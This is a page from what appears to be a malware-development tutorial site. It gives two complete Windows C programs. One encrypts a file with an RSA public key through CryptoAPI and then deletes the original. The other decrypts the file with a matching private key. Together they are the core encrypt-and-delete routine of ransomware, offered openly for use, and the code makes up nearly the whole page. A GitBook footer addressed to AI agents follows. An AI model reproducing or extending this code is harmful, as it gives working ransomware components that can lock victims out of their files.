> For the complete documentation index, see [llms.txt](https://everythingblackkk.gitbook.io/everythingblackkk/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://everythingblackkk.gitbook.io/everythingblackkk/malware-development/editor-3.md).

# Encryption Files c

## <mark style="color:red;">Small Files Only</mark>

## encryption.c

```csharp
#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>

#pragma comment(lib, "crypt32.lib")

#define ENCRYPTED_FILE "encrypted.bin"
#define PUBLIC_KEY_FILE "PublicKey.txt"

void HandleError(const char* msg) {
    fprintf(stderr, "%s. Error: %ld\n", msg, GetLastError());
    exit(1);
}

int main() {
    // Open Public Key FIle 
    FILE* pubKeyFile = fopen(PUBLIC_KEY_FILE, "rb");
    if (!pubKeyFile) {
        HandleError("Failed to open public key file");
    }

    // Read Public Key 
    fseek(pubKeyFile, 0, SEEK_END);
    long keySize = ftell(pubKeyFile);
    fseek(pubKeyFile, 0, SEEK_SET);

    BYTE* publicKey = (BYTE*)malloc(keySize);
    if (!publicKey) {
        HandleError("Memory allocation failed for public key");
    }

    fread(publicKey, 1, keySize, pubKeyFile);
    fclose(pubKeyFile);

    // Open File 
    FILE* inputFile = fopen("input.txt", "rb");
    if (!inputFile) {
        HandleError("Failed to open input file");
    }

    fseek(inputFile, 0, SEEK_END);
    long fileSize = ftell(inputFile);
    fseek(inputFile, 0, SEEK_SET);

    BYTE* fileData = (BYTE*)malloc(fileSize);
    if (!fileData) {
        HandleError("Memory allocation failed for file data");
    }

    fread(fileData, 1, fileSize, inputFile);
    fclose(inputFile);

    
    HCRYPTPROV hCryptProv;
    if (!CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
        HandleError("CryptAcquireContext failed");
    }

    // Export Public Key 
    HCRYPTKEY hPubKey;
    if (!CryptImportKey(hCryptProv, publicKey, keySize, 0, 0, &hPubKey)) {
        HandleError("CryptImportKey failed");
    }

    free(publicKey);

    // Enc Data 
    DWORD encryptedSize = fileSize;
    if (!CryptEncrypt(hPubKey, 0, TRUE, 0, NULL, &encryptedSize, 0)) {
        HandleError("Failed to calculate encrypted size");
    }

    BYTE* encryptedData = (BYTE*)malloc(encryptedSize);
    if (!encryptedData) {
        HandleError("Memory allocation failed for encrypted data");
    }

    memcpy(encryptedData, fileData, fileSize);
    free(fileData);

    if (!CryptEncrypt(hPubKey, 0, TRUE, 0, encryptedData, &fileSize, encryptedSize)) {
        HandleError("CryptEncrypt failed");
    }

    // Save Enc Data in File 
    FILE* encryptedFile = fopen(ENCRYPTED_FILE, "wb");
    if (!encryptedFile) {
        HandleError("Failed to open encrypted file for writing");
    }

    fwrite(encryptedData, 1, encryptedSize, encryptedFile);
    fclose(encryptedFile);

    free(encryptedData);
    CryptDestroyKey(hPubKey);
    CryptReleaseContext(hCryptProv, 0);

    if (remove("input.txt") == 0) {
        printf("[!] file Delete Suc .\n");
    }
    else {
        perror("[!] Error To Delete File ");
    }


    printf("File encrypted successfully.\n");
    return 0;
}

```

## Decryption.c&#x20;

```csharp
#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>

#pragma comment(lib, "crypt32.lib")

#define ENCRYPTED_FILE "encrypted.bin"
#define PRIVATE_KEY_FILE "privatekey.txt"
#define DECRYPTED_FILE "decrypted.txt"

void HandleError(const char *msg) {
    fprintf(stderr, "%s. Error: %ld\n", msg, GetLastError());
    exit(1);
}

int main() {
    // Open Prv Key File 
    FILE *privKeyFile = fopen(PRIVATE_KEY_FILE, "rb");
    if (!privKeyFile) {
        HandleError("Failed to open private key file");
    }

    fseek(privKeyFile, 0, SEEK_END);
    long keySize = ftell(privKeyFile);
    fseek(privKeyFile, 0, SEEK_SET);

    BYTE *privateKey = (BYTE *)malloc(keySize);
    if (!privateKey) {
        HandleError("Memory allocation failed for private key");
    }

    fread(privateKey, 1, keySize, privKeyFile);
    fclose(privKeyFile);

    // Open Enc Files 
    FILE *encryptedFile = fopen(ENCRYPTED_FILE, "rb");
    if (!encryptedFile) {
        HandleError("Failed to open encrypted file");
    }

    fseek(encryptedFile, 0, SEEK_END);
    long encryptedSize = ftell(encryptedFile);
    fseek(encryptedFile, 0, SEEK_SET);

    BYTE *encryptedData = (BYTE *)malloc(encryptedSize);
    if (!encryptedData) {
        HandleError("Memory allocation failed for encrypted data");
    }

    fread(encryptedData, 1, encryptedSize, encryptedFile);
    fclose(encryptedFile);

   
    HCRYPTPROV hCryptProv;
    if (!CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
        HandleError("CryptAcquireContext failed");
    }

   
    HCRYPTKEY hPrivKey;
    if (!CryptImportKey(hCryptProv, privateKey, keySize, 0, 0, &hPrivKey)) {
        HandleError("CryptImportKey failed");
    }

    free(privateKey);


    DWORD decryptedSize = encryptedSize;
    if (!CryptDecrypt(hPrivKey, 0, TRUE, 0, encryptedData, &decryptedSize)) {
        HandleError("CryptDecrypt failed");
    }

   
    FILE *decryptedFile = fopen(DECRYPTED_FILE, "wb");
    if (!decryptedFile) {
        HandleError("Failed to open decrypted file for writing");
    }

    fwrite(encryptedData, 1, decryptedSize, decryptedFile);
    fclose(decryptedFile);

    free(encryptedData);
    CryptDestroyKey(hPrivKey);
    CryptReleaseContext(hCryptProv, 0);

    printf("File decrypted successfully.\n");
    return 0;
}

```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://everythingblackkk.gitbook.io/everythingblackkk/malware-development/editor-3.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
